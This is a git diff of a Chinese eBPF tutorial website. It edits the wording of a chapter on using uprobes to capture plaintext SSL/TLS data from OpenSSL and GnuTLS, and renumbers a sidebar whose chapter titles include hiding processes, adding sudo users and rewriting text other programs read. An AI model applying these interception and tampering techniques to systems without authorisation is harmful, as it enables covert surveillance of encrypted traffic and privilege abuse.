USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial @@ -166,11 +166,10 @@ - eBPF 实践教程:使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据 + eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据 随着TLS在现代网络环境中的广泛应用,跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据,导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 -但现在,我们有了新的解决方案。 -eBPF技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。 -在本教程中,我们将带您了解一种跨多种条件的技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。 +但现在,我们有了新的解决方案。使用 eBPF 技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。 +在本教程中,我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。 背景知识 在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。 SSL 和 TLS @@ -179,7 +178,7 @@ TLS 的工作原理 Transport Layer Security (TLS) 是一个密码学协议,旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学,例如证书的使用,为两个或更多通信的计算机应用程序提供安全性,包括隐私(机密性)、完整性和真实性。TLS 由两个子层组成:TLS 记录协议和TLS 握手协议。 握手过程 -当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数: +当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数,完整流程如下: 初始握手:客户端连接到启用了TLS的服务器,请求安全连接,并提供它支持的密码套件列表(加密算法和哈希函数)。 选择密码套件:从提供的列表中,服务器选择它也支持的密码套件和哈希函数,并通知客户端已做出的决定。 @@ -188,16 +187,16 @@ 生成会话密钥:为了生成用于安全连接的会话密钥,客户端有以下两种方法: 使用服务器的公钥加密一个随机数(PreMasterSecret)并将结果发送到服务器(只有服务器才能使用其私钥解密);双方然后使用该随机数生成一个独特的会话密钥,用于会话期间的数据加密和解密。 -使用Diffie-Hellman 密钥交换(或其变体椭圆曲线DH)来安全地生成一个随机且独特的会话密钥,用于加密和解密,该密钥具有前向保密的额外属性:即使在未来公开了服务器的私钥,也不能用它来解密当前的会话,即使第三方拦截并记录了会话。 +使用 Diffie-Hellman 密钥交换(或其变体椭圆曲线DH)来安全地生成一个随机且独特的会话密钥,用于加密和解密,该密钥具有前向保密的额外属性:即使在未来公开了服务器的私钥,也不能用它来解密当前的会话,即使第三方拦截并记录了会话。 一旦上述步骤成功完成,握手过程便结束,加密的连接开始。此连接使用会话密钥进行加密和解密,直到连接关闭。如果上述任何步骤失败,则TLS握手失败,连接将不会建立。 OSI模型中的TLS -TLS和SSL不完全适合OSI模型或TCP/IP模型的任何单一层次。TLS在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动TLS握手和交换的认证证书的处理。 +TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS 的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。 eBPF 和 uprobe eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 -uprobes: 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。 +uprobes 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。 用户态库 SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库: @@ -208,8 +207,7 @@ OpenSSL API 分析 OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现,并广泛用于各种应用程序中以确保数据传输的安全性。其中,SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。 1. SSL_read 函数 -当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 SSL_read 或 SSL_read_ex 函数。 -函数原型 +当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下: int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes); int SSL_read(SSL *ssl, void *buf, int num); @@ -222,7 +220,7 @@ int SSL_write(SSL *ssl, const void *buf, int num); SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时,SSL_write_ex 会在 *written 中存储实际写入的字节数。 eBPF 内核态代码编写 -eBPF (扩展伯克利数据包过滤器) 是 Linux 内核中的一个功能强大的编程框架,它允许开发者在不修改内核源代码的情况下,为 Linux 内核动态插入自定义的程序。在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。 +在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。 数据结构 首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据: #define MAX_BUF_SIZE 8192 @@ -416,7 +414,6 @@ int BPF_URETPROBE(probe_SSL_do_handshake_exit) { 我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。 -用户态辅助代码分析 用户态辅助代码分析与解读 在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。 1. 支持的库挂载 @@ -599,11 +596,11 @@ WRITE/SEND 0.000000000 curl 16104 24 - + - + @@ -613,11 +610,11 @@ WRITE/SEND 0.000000000 curl 16104 24 - + - + diff --git a/4-opensnoop/index.html b/4-opensnoop/index.html index 2636279..2932e70 100644 --- a/4-opensnoop/index.html +++ b/4-opensnoop/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/404.html b/404.html index 1c60db1..2686048 100644 --- a/404.html +++ b/404.html @@ -84,7 +84,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/5-uprobe-bashreadline/index.html b/5-uprobe-bashreadline/index.html index 5d5dcb3..317c511 100644 --- a/5-uprobe-bashreadline/index.html +++ b/5-uprobe-bashreadline/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/6-sigsnoop/index.html b/6-sigsnoop/index.html index 6762c6c..341b38c 100644 --- a/6-sigsnoop/index.html +++ b/6-sigsnoop/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/7-execsnoop/index.html b/7-execsnoop/index.html index 3116ab6..1c93e6f 100644 --- a/7-execsnoop/index.html +++ b/7-execsnoop/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer 